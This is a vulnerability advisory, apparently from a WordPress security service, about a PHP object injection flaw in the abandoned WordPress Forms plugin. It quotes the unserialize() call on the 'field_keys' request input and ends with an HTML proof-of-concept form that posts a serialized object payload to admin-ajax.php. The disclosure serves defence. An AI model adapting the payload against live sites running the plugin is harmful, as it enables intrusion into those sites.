PHP Object Injection Vulnerability in WordPress Forms
Over at our main business we clean up a lot of hacked websites. Based on how often we are brought in to re-clean websites after another company (including many well known names) has failed to even attempt to properly clean things up, our service in general is much better than many other options out there. But when cleaning up hacked WordPress websites we throw in a couple of extras related to this service. The first being a free lifetime subscription to this service and the second being that we check over all the installed plugins using same checks we do as part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities.
Recently, While looking into a possible arbitrary file upload vulnerability flagged in the plugin WordPress Forms we noticed what looked to be a PHP object injection vulnerability in the same function in the plugin and a quick test using our plugin for testing for those confirmed it was in fact exploitable.
The plugin can process form submissions through WordPress’ AJAX functionality:
274 275 | add_action( "wp_ajax_wp_forms_submit_form", array( &$this, "process_submition" ) ); add_action( "wp_ajax_nopriv_wp_forms_submit_form", array( &$this, "process_submition" ) ); |
The function that handles that, process_submition(), passes the GET or POST input “field_keys” through the function unserialize(), which permits PHP object injection:
334 | $field_keys = unserialize( str_replace('\\', '', html_entity_decode($_REQUEST['field_keys'])) ); |
While this type of vulnerability is fairly likely to be exploited if hackers are aware of it, in the case of the website we were cleaning, the plugin was deactivated, so the vulnerability could not have been exploited.
That plugin was removed from the Plugin Directory by the developer five years ago, but the plugin is still installed on 500+ websites.
Proof of Concept
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[form ID]” with the ID for one of the forms created by the plugin.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wp_forms_submit_form" /> <input type="hidden" name="post" value="[form ID]" /> <input type="hidden" name="field_keys" value='O:20:"php_object_injection":0:{}' /> <input type="submit" value="Submit" /> </form> </body>